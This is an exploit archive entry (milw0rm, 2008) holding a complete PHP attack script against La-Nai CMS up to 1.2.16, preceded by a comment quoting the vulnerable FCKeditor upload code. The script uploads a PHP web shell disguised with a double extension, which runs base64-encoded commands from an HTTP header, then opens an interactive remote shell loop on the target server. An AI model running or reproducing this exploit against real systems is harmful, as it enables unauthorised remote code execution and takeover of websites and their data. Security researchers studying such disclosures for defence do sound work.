La-Nai CMS <= 1.2.16 (fckeditor) Arbitrary File Upload Exploit

                                                <?php

/*
	--------------------------------------------------------------
	La-Nai CMS <= 1.2.16 (fckeditor) Arbitrary File Upload Exploit
	--------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://sourceforge.net/projects/la-nai/

	[-] vulnerable code in /include/fckeditor/editor/filemanager/upload/php/upload.php
	
	41.	// Get the posted file.
	42.	$oFile = $_FILES['NewFile'] ;
	43.	
	44.	// Get the uploaded file name and extension.
	45.	$sFileName = $oFile['name'] ;
	46.	$sOriginalFileName = $sFileName ;
	47.	$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
	48.	$sExtension = strtolower( $sExtension ) ;
	49.	
	50.	// The the file type (from the QueryString, by default 'File').
	51.	$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
	52.	
	53.	// Check if it is an allowed type.
	54.	if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
	55.	    SendResults( 1, '', '', 'Invalid type specified' ) ;
	56.	
	57.	// Get the allowed and denied extensions arrays.
	58.	$arAllowed	= $Config['AllowedExtensions'][$sType] ;
	59.	$arDenied	= $Config['DeniedExtensions'][$sType] ;
	60.	
	61.	// Check if it is an allowed extension.
	62.	if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) )
	63.		SendResults( '202' ) ;
	64.	
	65.	$sErrorNumber	= '0' ;
	66.	$sFileUrl		= '' ;
	67.	
	68.	// Initializes the counter used to rename the file, if another one with the same name already exists.
	69.	$iCounter = 0 ;
	70.	
	71.	// The the target directory.
	72.	if ( isset( $Config['UserFilesAbsolutePath'] ) )
	73.		$sServerDir = $Config['UserFilesAbsolutePath'] ;
	74.	else 
	75.		//$sServerDir = GetRootPath() . $Config["UserFilesPath"] ;
	76.		$sServerDir = $Config["UserFilesPath"] ;
	77.	
	78.	while ( true )
	79.	{
	80.		// Compose the file path.
	81.		$sFilePath = $sServerDir . $sFileName ;
	82.	
	83.		// If a file with that name already exists.
	84.		if ( is_file( $sFilePath ) )
	85.		{
	86.			$iCounter++ ;
	87.			$sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;
	88.			$sErrorNumber = '201' ;
	89.		}
	90.		else
	91.		{
	92.			move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;
	93.	
	94.			if ( is_file( $sFilePath ) )
	95.			{
	96.				$oldumask = umask(0) ;
	97.				chmod( $sFilePath, 0777 ) ;
	98.				umask( $oldumask ) ;
	99.			}
	100.			
	101.			$sFileUrl = $Config["UserFilesPath"] . $sFileName ;
	102.	
	103.			break ;
	104.		}
	
	with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code	
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

print "\n+------------------------------------------------------------+";
print "\n| La-Nai CMS <= 1.2.16 Arbitrary File Upload Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 2)
{
	print "\nUsage......: php $argv[0] host path";
	print "\nExample....: php $argv[0] localhost /lanai-cms/\n";
	die();
}

$host = $argv[1];
$path = $argv[2];

$data  = "--12345\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"s.php.he.ll\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n";
$data .= "--12345--\r\n";

$packet  = "POST {$path}include/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;

preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html);

if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");
else print "\n[-] Shell uploaded to {$html[2]}...starting it!\n";

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
	print "\nlanai-shell# ";
	$cmd = trim(fgets(STDIN));
	if ($cmd != "exit")
	{
		$packet = "GET {$path}datacenter/media/{$html[3]} HTTP/1.0\r\n";
		$packet.= "Host: {$host}\r\n";
		$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
		$packet.= "Connection: close\r\n\r\n";
		$output = http_send($host, $packet);
		if (eregi("print", $output) || !eregi("_code_", $output)) die("\n[-] Exploit failed...\n");
		$shell = explode("_code_", $output);
		print "\n{$shell[1]}";
	}
	else break;
}

?>

# milw0rm.com [2008-05-14]